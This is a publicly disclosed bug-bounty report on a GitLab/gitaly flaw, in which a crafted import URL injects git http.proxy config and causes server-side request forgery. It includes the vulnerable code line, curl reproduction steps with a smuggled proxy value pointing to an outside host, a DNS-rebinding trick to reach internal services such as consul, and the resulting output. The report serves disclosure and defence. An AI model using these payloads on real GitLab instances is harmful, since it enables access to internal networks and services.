HexBrain

GitLab · Report #855276

Injection of `http.<url>.*` git config settings leading to SSRF

Validstatus
highseverity
$3,000bounty
36upvotes
8 Sept 2020disclosed

How it was found

Summary

When import a repo with credentials via a URL, gitaly generates the git clone command with a -c flag to add the Authorization header:

https://gitlab.com/gitlab-org/gitaly/-/blob/master/internal/service/repository/create_from_url.go#L37

flags = append(flags, git.ValueFlag{Name: "-c", Value: fmt.Sprintf("http.%s.extraHeader=%s", u.String(), authHeader)})

Which will create a command such as:

git clone --bare -c http.followRedirects=false -c 'http.http://example.com/repo.git.extraHeader=Authorization: Basic YWE6YmI=' -- http://example.com/repo.git /repo/path

The issue is that the url can contain one of the http config values from https://git-scm.com/docs/git-config#Documentation/git-config.txt-httplturlgt, which will result the user supplied config being set instead of extraHeader (with the .extraHeader.. being appended to the value).

This allows an attacker to set things like http.proxy which can result in a SSRF if they use an import url such as http://[email protected]/.proxy=http://proxy.aw.rs:8500

Steps to reproduce

  1. Create a dns entry with a short TTL

  2. Start a server listening on the port that you want to hit with the SSRF that always returns 200 OK, something like {F797777}

  3. Create a project with the specially crafted import url: curl -H "Authorization: Bearer $TOKEN" -v -XPOST 'http://gitlab-vm.local/api/v4/projects?import_url=http://[email protected]/.proxy=http://proxy.aw.rs:8500&name=proxy4'. This results in the following .git/config for the repo:

    sudo cat /var/opt/gitlab/git-data/repositories/@hashed/fc/56/fc56dbc6d4652b315b86b71c8d688c1ccdea9c5f1fd07763d2659fde2e2fc49a.git/config
    [core]
        repositoryformatversion = 0
        filemode = true
        bare = true
    [http]
        followredirects = false
    [http "http://google.com/"]
        proxy = http://proxy.aw.rs:8500.extraHeader=Authorization: Basic dXNlcg==
    
  4. Update the dns entry to point to 127.0.0.1 and wait for it to propergate

  5. Add a new mirror to the project using the same host but with the path for the SSRF (it will go through the proxy), append a ? to make sure the appended paths are removed: curl -H "Authorization: Bearer $TOKEN" -v -XPUT 'http://gitlab-vm.local/api/v4/projects/204?mirror=true&import_url=http://google.com/v1/config?'

  6. Check the status of the import to see the result of the SSRF (in this case hitting consul on port 8500)

curl -H "Authorization: Bearer $TOKEN" -v 'http://gitlab-vm.local/api/v4/projects/204' | jq .import_error` "2:Fetching remote upstream failed: remote: method GET not allowed\nfatal: unable to access 'http://google.com/v1/config?/': The requested URL returned error: 405\n" ```

Git (via curl) allows for socks4 and socks5 proxies as well which could potentially be used to generated other SSRF payloads for things like redis or for leaking internal dns resolutions. There maybe other http.* configs that could be exploited, an interesting one is http.cookieFile but due to the appended .extraHeader= the path is not really controllable from my initial testing.

Impact

  • An attacker can set the http.<url>.proxy git config resulting in SSRF

What is the current bug behavior?

The git http config propertied can be influenced by the import url

What is the expected correct behavior?

Only the extraHeader config should be set via the git clone.

Output of checks

Results of GitLab environment info

System information
System:		Ubuntu 18.04
Proxy:		no
Current User:	git
Using RVM:	no
Ruby Version:	2.6.5p114
Gem Version:	2.7.10
Bundler Version:1.17.3
Rake Version:	12.3.3
Redis Version:	5.0.7
Git Version:	2.24.2
Sidekiq Version:5.2.7
Go Version:	unknown

GitLab information
Version:	12.9.4-ee
Revision:	6a1a8e88568
Directory:	/opt/gitlab/embedded/service/gitlab-rails
DB Adapter:	PostgreSQL
DB Version:	10.12
URL:		http://gitlab-vm.local
HTTP Clone URL:	http://gitlab-vm.local/some-group/some-project.git
SSH Clone URL:	[email protected]:some-group/some-project.git
Elasticsearch:	no
Geo:		no
Using LDAP:	no
Using Omniauth:	yes
Omniauth Providers:

GitLab Shell
Version:	12.0.0
Repository storage paths:
- default: 	/var/opt/gitlab/git-data/repositories
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell
Git:		/opt/gitlab/embedded/bin/git

Impact

  • An attacker can set the http.<url>.proxy git config resulting in SSRF

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original